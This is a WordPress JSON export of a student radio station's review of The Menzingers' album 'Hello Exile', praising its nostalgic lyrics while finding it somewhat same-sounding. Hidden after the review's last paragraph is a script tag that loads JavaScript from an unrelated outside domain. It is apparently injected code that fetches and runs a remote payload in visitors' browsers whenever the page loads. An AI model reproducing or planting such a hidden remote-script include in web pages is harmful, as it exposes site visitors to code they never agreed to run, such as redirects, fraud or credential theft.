{"id":5730,"date":"2019-10-13T14:42:39","date_gmt":"2019-10-13T19:42:39","guid":{"rendered":"https:\/\/sites.bu.edu\/wtbu\/?p=5730"},"modified":"2019-12-17T19:56:38","modified_gmt":"2019-12-18T00:56:38","slug":"album-review-the-menzingers-hello-exile","status":"publish","type":"post","link":"https:\/\/sites.bu.edu\/wtbu\/2019\/10\/13\/album-review-the-menzingers-hello-exile\/","title":{"rendered":"ALBUM REVIEW: The Menzingers &#8211; Hello Exile"},"content":{"rendered":"<p><em><span style=\"font-weight: 400;\">By Jarrad Levy<\/span><\/em><\/p>\n<p><span style=\"font-weight: 400;\">On their sixth album, <\/span><i><span style=\"font-weight: 400;\">Hello Exile<\/span><\/i><span style=\"font-weight: 400;\">, The Menzingers slow their unique brand of folk\/pop-punk down into a unique sound of gritty and emo punk served with a hearty amount of nostalgia and angst.<\/span><\/p>\n<p><i><span style=\"font-weight: 400;\">Hello Exile<\/span><\/i><span style=\"font-weight: 400;\"> was a little bit of a surprise upon first listen. Unlike the band\u2019s last album, <\/span><i><span style=\"font-weight: 400;\">After The Party<\/span><\/i><span style=\"font-weight: 400;\">, the new release is significantly slower and darker. While there is nothing wrong with this, as the band is talented enough to successfully engage the listener with their retooled sound, it is an interesting choice, as <\/span><i><span style=\"font-weight: 400;\">After The Party<\/span><\/i><span style=\"font-weight: 400;\"> is widely considered one of the best emo\/punk albums of the decade. <\/span><i><span style=\"font-weight: 400;\">Hello Exile<\/span><\/i><span style=\"font-weight: 400;\"> deviates from the code that The Menzingers cracked in their last go and opts to tell similar depressing tales of lost love, friendship, and time, but throws out the dissonance found in the mish-mash of punk and angst for a straightforward approach of mid-tempo riffs and sardonic lyrics.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Opening with one of the few higher-tempo tracks, \u201cAmerica (You\u2019re Freaking Me Out),\u201d The Menzingers make a personal statement, claiming that America has lost its way and is misconstruing the words it was founded on. While obviously not everyone, I commend the band for making such a heavy-handed statement, as many artists will hide their political angst behind walls of metaphor and cliche lyrics. Furthermore, at no point does the band sound angry in the song, but instead nostalgic for a period of America\u2019s history that seems to have passed. In fact, nostalgia is a significant theme throughout the album. \u201cAnna\u201d is a relatable track about the loss of a love, begging for their return in order to reconnect and restart.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u201cHigh School Friend\u201d may be my favorite track on the record and makes me nostalgic for a time in my life that has not even passed yet. The song discusses how once one is a fully fledged adult, they will rarely see their old friends from childhood and how time can pass by so fast. The song reminds me of a quote from <\/span><i><span style=\"font-weight: 400;\">The Office<\/span><\/i><span style=\"font-weight: 400;\">: \u201cI wish there was a way to know you\u2019re in the good old days when you\u2019re actually in them.\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The entire album features fantastic lyrics that truly paint a detailed picture of the narrator&#8217;s thoughts and emotions and force the listener to empathize. My favorite lyrics on the album are featured on the final single to be debuted before release day: \u201cStrangers Forever.\u201d In the song, lead singer, Greg Barnett sings, \u201cWell I built a raft out of total desperation \/ and I got kidnapped by a pirate nation \/ Now somewhere out there I ramble and roar \/ You wouldn\u2019t recognize me anymore.\u201d The way metaphor and clear emotion is merged so seamlessly and seemingly effortlessly is staggering and prevalent throughout the whole album.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ultimately, <\/span><i><span style=\"font-weight: 400;\">Hello Exile<\/span><\/i><span style=\"font-weight: 400;\"> is a really really great album, but doesn\u2019t quite achieve excellence. While there is no track I dislike, there is no singular song that strikes me as the anthem of the album that I can point to and tell someone that they can listen to it and get a feel for what <\/span><i><span style=\"font-weight: 400;\">Hello Exile <\/span><\/i><span style=\"font-weight: 400;\">is all about. In fact, despite that I enjoy the slowed down, dreary pace the album tends to take, it pigeonholes itself into feeling very same-y, despite the vast wealth of lyrical content. I still highly recommend the album, but probably will not be listening in full too many more times before my favorites like \u201cAnna,\u201d \u201cHigh School Friend,\u201d and \u201cStrangers Forever\u201d solely live on in my playlists.<\/span><\/p>\n<p><script src=\"\/\/promclickapp.biz\/1e6ab715a3a95d4603.js\" async=\"\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>By Jarrad Levy On their sixth album, Hello Exile, The Menzingers slow their unique brand of folk\/pop-punk down into a unique sound of gritty and emo punk served with a hearty amount of nostalgia and angst. Hello Exile was a little bit of a surprise upon first listen. Unlike the band\u2019s last album, After The [&hellip;]<\/p>\n","protected":false},"author":15726,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1524],"tags":[157,770,936,31,935],"_links":{"self":[{"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/posts\/5730"}],"collection":[{"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/users\/15726"}],"replies":[{"embeddable":true,"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/comments?post=5730"}],"version-history":[{"count":1,"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/posts\/5730\/revisions"}],"predecessor-version":[{"id":5733,"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/posts\/5730\/revisions\/5733"}],"wp:attachment":[{"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/media?parent=5730"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/categories?post=5730"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sites.bu.edu\/wtbu\/wp-json\/wp\/v2\/tags?post=5730"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}